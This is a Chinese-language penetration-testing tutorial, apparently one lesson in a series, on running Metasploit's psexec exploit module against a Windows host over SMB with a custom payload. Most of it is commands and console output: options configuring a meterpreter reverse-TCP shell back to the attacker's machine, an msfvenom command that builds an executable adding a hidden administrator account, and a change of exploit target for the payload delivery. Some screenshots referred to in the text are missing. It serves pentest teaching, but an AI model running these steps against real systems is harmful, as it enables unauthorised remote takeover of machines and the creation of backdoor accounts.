MSF的exploit模块下是支持set payload的，同样在复杂的网络环境下，许多模块也同样支持自定义的payload。可以更好的配合第三方框架，如第十一课中提到的Veil-Evasion等。
以exploit/windows/smb/psexec为demo。
攻击机配置如下：
msf exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOST 192.168.1.119 yes The target address
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target fo rpretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN\$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass 123456 no The password for the specified username
SMBUser administrator no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Automatic 
需设置一非，常用选项：
msf exploit(windows/smb/psexec) > set EXE::CUSTOM /var/www/html/bin_tcp_x86_53.exe
EXE::CUSTOM => /var/www/html/bin_tcp_x86_53.exe
靶机当前端口如下：
攻击机执行：
靶机端口变化如下：
虽报错，但并不影响执行。
注意：
Psexec创建一个服务后，来运行可执行文件（如Micropoor.exe）。但是将可执行文件作为服务，payload必须接受来自控制管理器的命令，否则将会执行失败。而psexec创建服务后，将随之停止，该payload处于挂起模式。
参考该服务源码：
payload启动后，将会在过一段时间内退出。并强制终止。
故该参数一般用于adduser。配合adduser_payload。或者配合一次性执行完毕非常连接的payload。如下载。抓明文密码等。不适合需长连接通信的payload。
root@John:/tmp# msfvenom ‐p windows/adduser PASS=Micropoor$123 USER=Micropoor ‐f exe >adduser.exe
[‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[‐] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 279 bytes
Final size of exe file: 73802 bytes 
同样可以配合target的改变来解决控制管理器的强制命令接收。
攻击机设置：
msf exploit(windows/smb/psexec) > show targets
Exploit targets:
Id Name
‐‐ ‐‐‐‐
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
msf exploit(windows/smb/psexec) > set target 2
target => 2
msf exploit(windows/smb/psexec) > exploit

目标机：
在执行payload即可。
